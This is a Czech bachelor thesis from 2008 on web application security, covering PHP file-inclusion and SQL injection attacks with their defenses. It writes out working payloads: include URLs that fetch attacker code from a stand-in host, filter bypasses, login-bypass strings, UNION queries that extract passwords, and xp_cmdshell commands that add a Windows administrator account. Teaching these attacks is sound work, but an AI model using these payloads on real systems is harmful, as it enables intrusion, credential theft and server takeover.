České vysoké učení technické v Praze Fakulta elektrotechnická
Bakalářská práce
Bezpečnostní problémy internetových aplikací Martin Mejzr
Vedoucí práce: Ing. Zdeněk Troníček Ph.D.
Studijní program: Elektrotechnika a informatika strukturovaný bakalářský Obor: Informatika a výpočetní technika červenec 2008
ii
Poděkování: Chěl bych zde poděkovat především své rodině, která mě podporovala po celou dobu mého studia.
iii
iv
Prohlášení Prohlašuji, že jsem svou bakalářskou práci vypracoval samostatně a použil jsem pouze podklady uvedené v přiloženém seznamu. Nemám závažný důvod proti užití tohoto školního díla ve smyslu §60 zákona č. 121/2000 sb., o právu autorském, o právech souvisejících s právem autorským a o změně některých zákonů (autorský zákon).
V Čelákovicích dne 20.5. 2008
.............................................
v
vi
Abstract Tato práce se snaží přiblížit nejrozšířenější metody útoků na internetové aplikace. Pokouší se vysvětlit jejich princip, možné důsledky a postupy, které tyto útoky znemožňují.
Abstrakt This bachelor thesis try to apprise the most widespread methods of offenses to internet applications. It try to consecrate it's principle, possible consequences and technique, which block this offences.
vii
viii
Obsah Seznam obrázků ................................................. x 1 Úvod ......................................................... 1 2 Útoky proti serverové části .................................. 2 2.1 Code injection ............................................ 2 2.1.1 PHP 2.1.1.1 2.1.1.2 2.1.1.3 2.1.1.4 2.1.1.5 2.1.1.6
Injection ....................................... Obecně o PHP injection ........................... Předpoklady úspěšného útoku ...................... Možné důsledky úspěšného útoku ................... Příklady útoků a neúčinných typů obran proti útoku Účinné způsoby ochrany ........................... Shrnutí PHP Injection ............................
Injection ....................................... Obecně o SQL Injection .......................... Předpoklady úspěšného útoku ..................... Možné důsledky úspěšného útoku .................. Příklady útoků SQL Injection .................... Obrana proti SQL Injection ...................... Shrnutí SQL Injection ...........................
10 10 10 10 10 19 22
2.2 Neochráněný upload a download souborů ................... 2.2.1 Možnosti zneužití neochráněného uploadu ............. 2.2.2 Možnosti zneužití neochráněného downloadu ........... 2.2.3 Kotrola typu souborů při uploadu souborů ............ 2.2.4 Kontrola parametrů skriptu pro download souborů ..... 2.2.5 Shrnutí .............................................
23 23 23 24 26 28
3 Útoky proti uživateli internetové aplikace .................. 29 3.1 XSS 3.1.1 3.1.2 3.1.3 3.1.4 3.1.5
- Cross-site scripting .............................. Obecně o XSS ........................................ Možnosti zneužití XSS ............................... Příklady útoků XSS .................................. Obrana proti XSS .................................... Shrnutí Cross-site Scripting ........................
29 29 30 30 34 34
3.2 CSRF - Cross Site Request Forgery ....................... 3.2.1 Obecně o Cross Site Reguest Forgery.................. 3.2.2 Příklady útoků Cross Site Reguest Forgery ........... 3.2.3 Obrana proti Cross Site Request Forgery ............. 3.2.4 Shrnutí Cross Site Request Forgery ..................
35 35 35 38 39
4 Závěr ....................................................... 40 5 Seznam literatury ........................................... 41 ix
Seznam Obrázků Obrázek 1: Zadání parametrů útoku programu Absinthe ........... 16 Obrázek 2: Schéma databáze zjištěné programem Absinthe ........ 17 Obrázek 3: Získávání dat z databáze programem Absinthe ........ 17
x
1 Úvod V současné době zažívají internetové aplikace veliký rozvoj. Jejich popularita je dána především velkým množstvím potencionálních uživatelů a tím, že moderní vývojové nástroje představují jednoduché a rychlé možnosti tvorby jejich tvorby. Moderní internetové aplikace se většinou skládají ze tří částí. První z nich je webový server, na kterém daná internetová aplikace běží, dále databázový server pro uchovávání dat aplikace a poslední částí je internetový prohlížeč uživatele, který slouží jako tenký klient. Bezpečnost internetových aplikací závisí na mnoha faktorech. Jedná se o fyzickou bezpečnost serverů, kdy je nutné potencionálnímu útočníkovi zabránit v možnosti odcizení hardware. Dále o bezpečnost a konfiguraci aplikací a operačního systému, pod kterým daný server běží a v neposlední řadě o zabezpečení samotné webové aplikace, kterým se hodlám zabývat ve své práci. Cíle útočníků jsou různé, nicméně s velkým rozmachem komercionalizace internetu začíná převládat ekonomické hledisko. S rostoucí popularitou internetových aplikací se začínají objevovat čím dál tím sofistikovanější metody útoků proti nim. Nejrozšířenější z nich se ve své práci snažim přiblížit, vysvětlit jejich pricip, možné důsledky a především postupy, jak těmto útokům předejít.
1
2 Útoky proti serverové části 2.1 Code Injection Pojem „Code injection“ obecně sdružuje útoky, při kterých dochází ke spuštění vzdáleného kódu v kontextu aplikace, tyto útoky mohou mít naprosto fatální následky. Pokud se útočníkovi jednou podaří útok tohoto typu provést, může získat naprostou kontrolu nad chodem aplikace, získat přístupová hesla, upravit aplikaci pro svojí potřebu atd. Útoky typu „Code injection“ získaly v posledích letech obrovskou popularitu mezi útočníky hlavně proto, že jejich provedení nevyžaduje velké znalosti. Z tohoto důvodu bývají využívány zejména začínajícími „hackery“ a tzv. „Script kiddies“. Naštěstí díky této popularitě jsou s nimi progamátoři internetových aplikací v současné době již většinou seznámeni a snaží se jim předcházet. Nicméně některé obecné postupy ochrany nejsou nepřekonatelné, jak se dozvíme později. Hlavní typy Code injection jsou PHP-injection a SQL-injection. Proto se budu ve své práci zabývat hlavě těmito typy. Teoreticky je možné tímto způsobem napadnout jakoukoliv technologii, která umožňuje vložit a spustit kód na straně serveru. Jelikož ovšem dnes drtivá většina aplikací používá databáze, je potenciálně napadnutelná metodou SQL-injection.
2.1.1 PHP Injection PHP-Injection, někdy též nazývaná PHP Include i přes to, že patří k nejpopulárnějším metodám útoku na webové aplikace a její úspěšné provedení má nedozírné následky, je v současné době stále velice rozšířená. Největší chyba programátorů je, že buď o této chybě nevědí, nebo přehlédnou potencionálně nebezpečné místo v programu, nebo chybu ošetří zbůsobem, který se nechá obejít.
2.1.1.1 Obecně o PHP Injection Samotnou podstatou útoku je neošetření parametrů funkce include() respektive include_once(), require() nebo require_once(). Tyto funkce v PHP vkládají na místo volání funkce obsah souboru, který je parametrem funkce. Pokud tento soubor obsahuje PHP kód, tak se tento kód vykoná. Rozdíl mezi funkcemi z hlediska syntaxe i bezpečnosti je nepodstatný, proto budu příklady popisovat pouze na funkci include. Jako parametr funkce nemusí být jen cesta k lokálnímu souboru, může to být i libovolné URL, čehož útočníci většinou využívají.
2.1.1.2 Předpoklady úspěšného útoku Hlavním předpokladem provedení útoku je použití funkce include() s parametrem, který je možno předat funkci "z venčí" například metodou POST nebo GET. Pro vkládání vzdáleného skriptu je také nutné mít zapnutu direktivu allow_url_fopen() , která povoluje/zakazuje vkládání souborů z jiné domény.
2.1.1.3 Možné důsledky úspěšného útoku Úspěšné provedení PHP Injection má za následek kompletní ovládnutí webové aplikace, včetně přístupu ke všem datům, jako jsou hesla k databázi, zdrojové kódy aplikace a podobně. Útočník může učinit vše od změny designu stránek, přes využití serveru jako skladiště nelegálního obsahu, až po úplné smazání aplikace, či, za určitých okolností, k ovládnutí celého serveru. 2
2.1.1.4 Příklady útoků a neúčinných typů obran proti útoku Typickým příkladem je vkládání těla stránek pomocí metody GET podobným způsobem: http://www.server.cz/index.php?page=home.php
Soubor index.php obsahuje kód, který zajišťuje vložení příslušné stránky, ten může vypadat následujícím způsobem: include $_GET['page'];
Na první pohled se pouze vloží na výstup stránka home.php, avšak právě tento jediný řádek stačí útočníkovi ke kompletnímu ovládnutí webové aplikace. Toho dosáhne tak, že zavolá URL ve tvaru: http://www.server.cz/index.php?page=http://www.evilpage.cz/inc
Stránky www.evilpage.cz mohou být klidně na libovolném freehostingu. Soubor inc.txt ( Jméno může být libovolné, inc.txt uvádím jako příklad) obsahuje PHP kód, který chce útočník na cílovém serveru spustit. Příponu .txt má z toho důvodu, že pokud by měl příponu .php tak by došlo k vykonání skriptu už na serveru www.evilpage.cz a na www.server.cz by se poslal nikoliv kód, ale výstup skriptu. Soubor může mít naprosto libovolnou příponu, která se ovšem na www.evilpagecz neinterpretuje. Nejčastější skripty používané útočníkem jsou příkazy pro zobrazení zdrojového kódu skriptu:
nebo:
a skripty pro vypsání obsahu adresáře: Read();
//Tyto dva řádky jsou pro odfiltrování adresářů . a ..
$tmp=$adresar->Read();
while($polozka=$adresar->Read()) { echo $polozka." "; } $adresar->Close(); ?> Spuštění takovýchto skiptů může mít za následek získání kompletních zrojových kódů webové aplikace útočníkem. Lze též includovat skripty pro přepsání, či kompletní smazání stránek. Obrana spočívá v kontrole proměnné $page a nastavení samotného PHP v php.ini. Kontrolu vstupní proměnné $page mnoho programátorů buď neprovádí, nebo provádí 3
špatně. Na následujících příkladech ukáži chybné, avšak velmi časté způsoby kontroly proměné $page, a také příklad správné kontroly. Způsob první: Kontrola je provedena tak, že obsahuje konstrukci podobnou této: include $_GET['page'].'.php';
Tato konstrukce přidává za proměnnou příponu .php, takže znemožňuje incluzi souboru http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt
ten by se totiž includoval jako: http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt.php
Toto volání by samozdřejmě skončilo chybou. Toto je ovšem ochrana pouze domělá, jelikož existuje několik způsobů jak toto opatření obejít: 1) Includovaný soubor bude mít opravdu příponu .php, ovšem jeho interpretovaný výstup se bude rovnat požadovanému skriptu:
echo "
2)Útočník ponechá script v původní podobě i s příponou .php, ale bude ho nahrávat přes jiný protokol, např. FTP: http://www.server.cz/index.php? page=ftp://username:[email protected]/inc
nebo v případě ftp serveru bez hesla: http://www.server.cz/index.php?page=ftp://[email protected]/inc
Samozdřejmě se nemusí jednat jen o ftp, ale například o \\smbserver\ a další protokoly. 3)Další možností je doplnění URL o tzv. nulový byte %00 : http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt%00
To zapříčiní, že ve výsledném includovaném URL, se vše za nulovým bytem %00 bude ignorovat. 4)Jedna z možností je také volat skript s parametrem například takto: http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt?prm=
Výsledkem tohoto typu volání bude to, že vkládaná přípona .php, bude hodnotou proměnné $prm. 4
Jak je vidět, tak na první pohled vcelku jednoduchá obrana proti PHP injection, na kterou nemalé procento programátorů spoléhá jako na dostatečnou, je ve skutečnosti ještě jednodušeji překonatelná. Způsob druhý: Dalším velice rozšířeným způsobem obrany a v tomto případě již značně účinným, nicméně ne neprolomitelným, je následující kostrukce: include "./$_GET['page']";
Tato konstrukce znemožňuje vkládání z jiného serveru tím, že doplňuje před proměnnou cestu k lokálnímu adresáři (samozdřejmě místo ./ tam může bý jakákoliv cesta k adresáři s předpokládaným výskytem souboru). Podobného výsledku docílíme vypnutím funkce allow_url_fopen(), ta přímo zakazuje vkládání vzdálených souborů, nebo použití kontrolní funkce file_exists(), která kontroluje existenci výhradně lokálních souborů: Obrana pomocí funkce file_exist()
Tato obrana odradí drtivou většinu útočníků a pokud se aplikace nachází na soukromém serveru, tak je 100% účinná. V případě, že je webová aplikace umístěna na webhostingu, tak ovšem neprolomitelná není. Pokud útočník získá webhosting na stejném serveru, má opět několik možností k napadení aplikace. Jeho první kroky budou zřejmě spuštění funkce phpinfo(), která mu prozradí konfiguraci serveru včetně použitých bezpečnostních opatření. Útočník se tak dozví, zda běží PHP v safe_modu, zda je vypnutá funkce allow_url_fopen(), jaké příkazy je zakázáno na serveru používat a množství dalších, pro útočníka velice cenných, informací. Pokud by server náhodou neběžel v safe-modu, což je v dnešní době velice nepravděpodobné a u webhostingu téměř vyloučené, tak by mohl útočník přímo zapisovat do adresářů ostatních uživatelů a celková bezpečnost by se rovnala nule. Zajímavější je postup útočníka pokud PHP běží v safe-modu to znamená, že má přístup pouze ke svému adresáři, až na tzv. "session proměnné". Jedná se o krátkou informaci, která se uloží do souboru na serveru, aby si ji pak mohl klient (návštěvník) později vyžádat. To samo o sobě není pro útočníka důležité, zajímavější je pro něj informace, kam se tyto dočasné soubory ukládají a fakt, že obsah, může jednoduše ovlivnit. Takový příklad ukazuje následující skript:
5
//";
V prvním řádku předá útočník funkci session_save_path() absolutní cestu, kam chce soubor uložit. Může si vybrat opravdu libovolný adresář, tedy i ostatních uživatelů. Název souboru lze ovlivnit jen z části. Je dovoleno používat pouze malá a velká písmena a číslice, nelze proto zadat souboru příponu. Název je pak automaticky doplněn prefixem sess_, v našem případě se tedy soubor bude jmenovat sess_inc. Třetí příkaz se postará o vytvoření souboru a čtvrtý o jeho obsah. Ten musí vždy končit komentářem // a ukončovací PHP řetězec ?> se nezapisuje. Poslední řádek zapíše obsah proměnné $code do souboru sess_inc. Poté, co vytvoří útočník soubor s vlastním kódem ve stejném adresáři, kde je uložen index.php webové aplikace, načte ve svém prohlížeči pro vložení svého scriptu následující URL: http://www.server.cz/index.php?page=sess_inc
Samozdřejmě, že ne na všech serverch je možno ukládat session proměnné do jakéhokoliv adresáře. V tomto případě může útočník uložit svůj script do jednoho ze společných adresářů všech uživatelů. Seznam těchto adresářů ukazuje direktiva open_basedir, např. /tmp. Výsledné URL které zapříčiní vložení a spuštění útočníkova scriptu poté vypadá následovně: http://www.server.cz/index.php?page=../../../../../tmp/sess_inc
Způsob třetí: Další způsob, který je nejčastěji používán k obraně proti PHP-injection je konstrukce podobná této: include './'.$_GET['page'].'.php';
Jedná se o kombinaci předchozího, nicméně přidání přípony .php zapříčiňuje nemožnost použití předchozí metody session z důvodu nemožnosti zapsat znak '.' (tečka) do názvu souboru. Toto může útočník obejít následujícím způsobem: Jelikož v direktivě open_basedir bývá společný adresář, do kterého mají právo zapisovat všichni uživatelé (např. /tmp), lze určitým způsobem zapsat potřebný script i s příponou .php. Funkce, kterou může útočník, ale i všichni uživatelé hostingu využít k zápisu do tohoto adresáře je tempnam(). Použití funkce: $name = tempnam('','inc.php');
První parametr udává cestu k dočasnému adresáři, ponechává se prázdný pro výchozí hodnotu. (mimo adresáře obsažené v direktivách open_basedir a upload_tmp_dir by se totiž zápis neměl vydařit) Druhý parametr je název samotného souboru, respektive jeho prefix. PHP totiž přidá na konec názvu ještě řetězec složený z libovolných 6 znaků (a-z, A-z, 0-9). Jak se tedy soubor jmenuje včetně absolutní cesty, se útočník dozví vypsáním proměnné $name. Způsob zápisu do vytvořeného souboru je shodný, jako zápis do libovolného souboru:
6
Script se zapíše opět bez ukončovací části ?>. Výsledný soubor má název podobný inc.phpWK4p9X. To by útočník zjistil vypsáním proměnné $name příkazem echo $name; Posledních šest pseudonáhodných znaků opravdu na první pohled znemožňuje tohoto způsobu využít, bohužel tento soubor se nechá jako každý jiný přejmenovat příkazem: $parts = pathinfo($name); rename($name, $parts['dirname'].'/inc.php');
Výsledný script by vypadal následovně:
Následně útočníkovi stačí výsledný script vložit podobným způsobem jako v předchozím případě: http://www.server.cz/index.php?page=../../../../../tmp/inc
Toto byly příklady často používaného nicméně neúčinného způsobu obrany před PHP-injection. Existují samozdřejmě i způsoby účinné.
2.1.1.5 Účinné způsoby ochrany Účinná obrana proti útoku PHP injection spočívá v důsledné kontrole parametru funkce include(). V případě soukromého serveru jako účinná obrana postačuje výše zmíněná konstrukce typu: include "./$_GET['page']";
nebo: include './'.$_GET['page'].'.php';
Elegantnější způsob je vytvořit si na vkládání stránek vlastní funkci podobnou této: function zobraz_data(){ if ($_GET['page']<>''){ $data=$_GET['page']; } else{ $data="default"; } if (is_file($data.".php")){ $nazevsouboru=$data.".php"; include $nazevsouboru; } else{ include "./chybove_hlaseni.php"; } }
7
Tato funkce načte obsah proměnné $page a doplní ho o příponu .php, následně se pokusí nalést lokální soubor s tímto názvem, pokud se to podaří, tak ho includuje, pokud ne, tak includuje chybové hlášení. V případě prázdného requestu vloží defaultní stránku default.php. V případě webhostingu jsou možné následující metody: 1)Kontrola vstupní proměnné v kostrukci switch nebo if Toto se používá spíše u malých webů s malým množstvím stránek, které se mohou vkládat. Kostrukce switch vypadá následovně: switch ($_GET['page']) { case "moznost1": include("moznost1.php"); break; case "moznost2": include("moznost2.php"); break; default: echo "Chyba "; break; }
a konstrukce if: if ($_GET['page'] != "moznost1" || "moznost2"){ echo "Chyba"; } else{ include($page); }
Obě možnosti kontrolují shodnost vstupní proměnné s předem danými možnostmi a pokud se vstupní proměnná nerovná ani jedné z nich, vypisují chybu. Samozdřejmě je dobré tyto konstrukce doplnit o výpis defaultní stránky, použití seznamů povolených možností a vytvořit si na jejich základě vkládací funkce. Jednou z elegantních možností je také využití databáze povolených klíčových slov a jejich konverze na odpovídající cestu k lokálnímu souboru. 2)Kontrola vstupní proměnné na speciální znaky Nejjednoduším a nejúčinější obranou je kontrolovat vstupní proměnnou na výskyt znaku '/' (lomeno). To znemožňuje použít jakýkoliv výše uvedený způsob. Jeden z možných způsobů je použití regulárních výrazů, následující konstrukce je jednou z možností filtrování vstupu:
8
Nevýhodou této konstrukce je fakt, že lze vkládat soubory pouze z jednoho adresáře, to by ovšem při správném návrhu hierarchie adresářů webové aplikace nemělo znamenat potíže.
2.1.1.6 Shrnutí PHP Injection V současné době je tato chyba již velmi dobře známa a obrana proti ní není nijak složitá. Z tohoto důvodu se vyskytuje spíše u začínajících progamátorů webových aplikací, či jako důsledek přehlédnutí potencionálně nebezpečného místa. Jelikož je její použitelnost do značné míry závislá na konfiguraci PHP ve webovém serveru, je nutné dbát při jeho nastavování zvýšené pozornosti. Problém také může nastat při přechodu na jinou verzi PHP. V novjějších verzích již některé direktivy neexistují nebo jsou nahrazeny jinými a nelze se na ně proto již spoléhat. Vždy je nutné sledovat změny, které nová verze přináší a přispůsobit jim aplikaci.
9
2.1.2 SQL injection Pravděpodobně nejrozšířenější chyba typu Code-injection napadající přímo serverovou část webové aplikace. Jelikož drtivá většina databázových serverů používá jazyk SQL, tak se tato chyba může vyskytovat napříč platformami. Nezáleží tedy na jazyku webové aplikace, ale pouze na implementaci zabezpečení napsané v tomto jazyce.
2.1.2.1 Obecně o SQL Injection Podobně jako u PHP Injection šlo o podvržení parametrů funkce include(), zde se jedná o podvržení dotazu v jazyce SQL na databázový server. Jazyk SQL nabízí velice rychlý a jednoduchý přístup k datům uložených v databázi pomocí tzv. SQL dotazů. Ty svou jednoduchostí a silou umožňují výpis dat z databáze, editaci, přidávání a mazání záznamů a na platformě MS Windows a MS-SQL server i vykonávání systémových procedur.
2.1.2.2 Předpoklady úspěšného útoku Předpokladem útoku SQL Injecton je nedostatečně ošetřený vstup od uživatele, kterým je možno upravit SQL dotaz do databáze. Není podmínkou mít možnost editovat celý SQL dotaz, to ostatně není možné téměř nikdy. Útočníkovi stačí mít možnost editovat jen jeho malou část, například jednu hodnotu parametru viz. dále.
2.1.2.3 Možné důsledky úspěšného útoku Důsledkem SQL Injection bývá nejčastěji obcházení přihlašovacích formulářů a získání všech hesel uložených v databázi. Dalších využití je nespočet a záleží na konkrétní situaci. Pro představu například může útočník v e-shopu upravit cenu zboží a to následně nakoupit levněji, smazat celou databázi, nebo naprogramovat internetového červa, který díky tého chybě spustí u uživatele libovolný javascriptový kód.
2.1.2.4 Příklady útoků SQL Injection Bypassing U tohoto typu SQL Injection jde o obcházení přihlašovacích formulářů. Mějme standartní webový přihlašovací formulář:
Nejjednodušší cestou k ověření uživatele bude vytvoření SQL dotazu, který zkontroluje dotaz proti databázi a zjistí jestli daný uživatel existuje. Často se tato kontrola provádí na základě nenulového počtu řádků výsledku SQL dotazu. Pokud máme například databázi s tabulkou users:
10
Název sloupce id userName password email
Datový typ INT VARCHAR(32) VARCHAR(255) VARCHAR(255)
A pokud SQL dotaz vypadá podobně jako: SELECT count(*) FROM users WHERE userName='$_POST['username']' and password='$_POST['password']'
Tak může útočník zadáním následujících přihlašovacích údajů získat vstup do zabezpečené sekce aplikace pouze se znalostí uživatelského jména. Jestliže existuje uživatel "Admin" pak stačí jako uživatelské jméno zadat následující konstrukci: Admin' --
nebo: Admin' */
Rozdíl je pouze v použití komentáře - dvě pomlčky znamenají jednořádkový komentář a lomeno hvězdička víceřádkový, dále v texu budu pro jednoduchost uvádět jen jednu variantu. Hlavní je znak ' (apostrof) který ukončuje textovou hodnotu uživatelského jména, následný komentář ruší druhou podmínku a proto výsledný dotaz vypadá nasledovně: SELECT count(*) FROM users WHERE userName='Admin'--' and password=''
Výsledek je ten, že dotaz pouze ověřuje existenci uživatelského jména a nikoliv už hesla a tudíž dojde k úspěšnému přihlášení i bez jeho znalosti. Další možností se stejným výsledkem je napadnout pole pro zadání hesla použitím logického operátoru OR, který pokud je alespoň jedna podmínka splněna vrací pravdu. Do pole username vložíme známé úživatelské jméno, např. Admin a do pole password kostrukci: ' OR 1=1 --
Výsledný dotaz bude: SELECT count(*) FROM users WHERE userName='Admin' and password='' OR 1=1 --'
Jak je vidět, tak podmínka pro heslo password='' or 1=1 --' je díky druhé, vždy pravdivé podmínce splněna a proto dojde opět k úspěšnému přihlášení. Možností, jak je dotaz do databáze napsán je samozdřejmě více, nejčastěji jde o použití závorek, uvozovek, apod. To ovšem nijak neomezuje použití SQL Injection, pouze je nutné podvrhovanou hodnotu upravit tak, aby všechny párové znaky byly korektně ukončeny před vlastním kódem a následným komentářem.
11
Klasická SQL Injection Metoda klasické SQL Injection předpokládá znalost zdrojových kódů aplikace, respektive struktury databáze. Nejčastěji se s tímto typem útoku setkáváme u opensource webových aplikací, jako jsou redakční CMS sytémy, blogovací systémy či elektronické obchody. To umožňuje útočníkovi studiem zdrojových kódů předem přesně určit slabé místo v aplikaci. Následnému provedení útoku již nebrání žádná neznalost konkrétních poměrů v dané aplikaci a díky otevřenému kódu a předpokládané rozšířenosti je velice pravděpodobné napadení většího množství webových aplikací postavených na základě stejného systému. Pokud se útočníkovi podaří najít neošetřený vstup, kterým je možno SQL Injection provést a jestliže ani nastavení serveru respektive skriptovacího jazyka kterým je volán SQL dotaz mu v tom nezabraání, má útočník téměř neomezené možnosti jak tohoto využít. Pro příklad, mějme CMS (Content management system - redakční systém) ve kterém se jako parametr v URL předává číslo článku, jehož titulek chceme zobrazit. Výsledné URL bude například pro číslo článku vypadat následovně: http://www.server.cz/index.php?idClanku=4 Jesliže skript pro zobrazení stránky bude obsahovat dotaz podobný: V tomto stavu je aplikace nezabezpečená proti SQL-injection a útočník má celou databázi kompletně k dispozici. Stačí za číslo článku dosadit libovolný SQL dotaz splňující tuto kostrukci: -1' UNION libovolný_SQL_dotaz --
Číslo -1 zaručuje nulový počet nalezených záznamů, místo kterých je pomocí příkazu UNION a libovolný_SQL_dotaz vrácen výsledek útočníkova dotazu. Ten ovšem musí splňovat podmínku, že sloupce si formátem dat odpovídají a v případě ošetření aplikací i počet jeho výsledných záznamů odpovídá předpokládanému výsledku původního dotazu. Například pro vypsání hesla uživatele administrator z tabulky users v databázi by útočník zadal následující url: http://www.server.cz/index.php?idClanku=-1' UNION SELECT password FROM users WHERE username='administrator'-Výsledný dotaz by vypadal: SELECT titulek FROM tabulkaClanku WHERE idClanku ='-1' UNION SELECT password FROM users WHERE username='administrator' --' Možnosti zneužití vždy závisí na konkrétní aplikaci a cílech útočníka, jedním nezabezpečeným místem v aplikaci má útočník plný přístup k databázi a všem jejím možnostem. U databázového serveru společnosti Microsoft MSSQL Server má server navíc další možnost zneužití. Na rozdíl např. od MySQL serveru umožňuje MSSQL server zřetězení příkazů do databáze a to společně s tzv. vloženými procedurami představuje možnost ovládnutí celého stroje, nikoliv jen 12
databáze. Důsledky tohoto útoku závisí na právech pod kterými běží SQL server. Pokud nedej bože běží pod účtem sa - system administrator nebo účtem s administrátorskými právy, může si útočník vytvořit nového uživalele s administrátorskými právy a vzdáleně se přihlásit do windows. Útočný kód by se skládal ze dvou dotazů, pro demonstraci použiji databázi článků z předchozí ukázky. Prvním příkazem si útočník vytvoří nového uživatele systému windows: http://www.server.cz/index.php?idClanku=-1'exec master.dbo.xp_cmdshell 'net user hacker nejakeHeslo /add' -Výsledný dotaz bude vypadat následovně: SELECT titulek FROM tabulkaClanku WHERE idClanku='-1' exec master.dbo.xp_cmdshell 'net user hacker nejakeHeslo /add' -- '
První část dotazu je obyčelný SELECT , který vrací nulový počet záznamů. Zajímavější je druhá část, ve které se pomocí vložené procedury xp_cmdshell spustí příkaz "net user hacker nejakeHeslo /add" což má za následek vytvoření nového uživatele s uživatelským jménem hacker a heslem nejakeHeslo. Spuštění této nebezpečné procedury je právě důsledek možnosti zřetězení příkazů na MSSQL server. Nový uživatel bez potřebných práv by nebyl pro útočníka uspokojivým cílem a proto ho může následujícím příkazem přiřadit do skupiny Administrators. To je samozdřejmě podmíněno dostatečnými právy databázového serveru. Příkaz pro přidání uživatele do skupiny Administrators: http://www.server.cz/index.php?idClanku=-1'exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add' -Výsledný dotaz: SELECT titulek FROM tabulkaClanku WHERE idClanku='-1'exec
master.dbo.xp_cmdshell 'net localgroup administrators hacker /add' -- ' Pokud se útočníkovi podaří vzdáleně připojit na napadený server, má s uživatelským účtem lokálního administrátora opravdu široké pole působnosti.V nejhorším případě by molh SQL server běžet na doménovém řadiči a pak by byly důsledky opravdu katastrofální. Blind SQL Injection Blind SQL injection se od klasické SQL Injection liší v tom. že útočník předem nezná strukturu databáze, názvy tabulek, sloupců atd. První co útočník musí udělat, je zjištění, zda je SQL Injekce v testovaném místě aplikace možná. Existuje mnoho variant jak toto zjistit. Mějme předchozí aplikaci s výběrem titulku článku z databáze článků. Jednou z možností je zapasat číslo článku jako součet či rozdíl a pokud výsledek bude stejný, je veliká pravděpodobnost napadení aplikace pomocí SQL Injection. Příklady URL pro test chyby SQL Inkection: http://www.server.cz/index.php?idClanku=2 http://www.server.cz/index.php?idClanku=1+1
13
V našem případě by server vrátil chybu, protože řetězec 1+1 nění číslo. Pro úspěšné vykonání součtu by v v php skriptu volající SQL dataz nesměla být proměná idClanku ohraničena apostrofy. Po tomto zjištění zpravidla přichází test na podmínku, ten vypadá následovně: http://www.server.cz/index.php?idClanku=2' AND 1=1'-respektive: http://www.server.cz/index.php?idClanku=2' AND 1=0'-V případě, že první dotaz vrátí titulek článku číslo dvě a druhý nevrátí nic, je server náchylný na SQL Injection. Další elegantní metodou je využití funkce waitfor delay kterou obsahuje MSSQL server. Tato funkce způsobí zpoždění výsledku dotazu o zadaný čas ve formátu hodiny:minuty:sekundy. Pokud je stantartní odezva serveru řádově do jedné sekundy a po zanání následující URL se prodlouží o pět sekund, je server napadnutelný pomocí SQL Injection. URL pro zpoždění výsledku o 5 sekund: http://www.server.cz/index.php?idClanku=3' waitfor delay '0:0:5'-Výsledný dotaz: SELECT titulek FROM tabulkaClanku WHERE idClanku='3' waitfor delay '0:0:5'--' Další částí útoku je zjištění počtu sloupců v tabulce, toho útočník docílí pomocí postupného řazení výsledných záznamů podle čísla sloupce. Testováním URL http://www.server.cz/index.php?idClanku=3' GROUP BY n Kde n mění od 1 až do hodnoty, kdy se titulek článku číslo tři nezobrazí. To znamená, že tabulka má n-1 sloupců. Této znalosti útočník později využije k získání dat z jiných tabulek pomocí klauzule UNION Pokud je v tabulce např. 7 sloupců, tak následujícím příkazem útočník zjistí čísla sloupců, které jsou vypisované na výstup: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,2,3,4,5,6,7 -Čísla viditelná na stránce útočník použije pro výpis dalších informací z jiných tabulek. Řekněme, že v našem případě se zobrazuje jen titulek článku, který bude ve sloupci čílo dvě. Pro vypsání více hodnot se u MySQL hodí funkce concat(), která sloučí hodnoty několika sloupců. Použití: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,concat(database(),char(58,58),version(),char(58,58),user()),3,4, 5,6,7 -Tento příklad vypíše název databáze, verzi SQL serveru a uživatele, pod kterým databáze běží. Funkce char(58,58) je použite jen jako oddělovač položek, konkrétně dvě dvojtečky. U MSSQL existují podobné funkce, které mají stejný výsledek. Např. pro výpis verze SQL serveru: 14
http://www.server.cz/index.php?idClanku=-1' UNION SELECT @@VERSION -Největším problémem je pro útočníka zjistit názvy tabulek a sloupců. Názvy tabulek se u MySQL zapisují do tabulky information_schema. Využití této tabulky je následující, pro vypsání první tabulky v databázi: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()-Pro vypsání názvu druhé tabulky: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() and table_name != char(hexakod_nazvu_prvni_tabulky) -Pro třetí tabulku: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() AND table_name != char(hexakod_nazvu_prvni_tabulky) AND table_name != char(hexakod_nazvu_druhe_tabulky) -Tento postup je sice 100%, ale velice zdlouhavý a pro útočníka nepohodlný. Existuje i další, ne však 100% zaručující nalezení požadované tabulky. Jedná se o hledání předem definovaného substringu v názvu tabulky. Pokud útočník hledá uživatelská jména a hesla bude pravděpodobně hledat substring user pomocí následujícího příkazu: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() AND table_name LIKE char(37,117,115,101,114,37) -Po nalezení požadované tabulky útočník obdobným způsobem zjistí názvy sloupců. Opět má k dispozici dvě metody viz. výše. První 100% metoda pro název prvního sloupce: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) -Pro název druhého sloupce: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) AND COLUMN_NAME != char(hexakod_nazvu_prvniho_sloupce) --
15
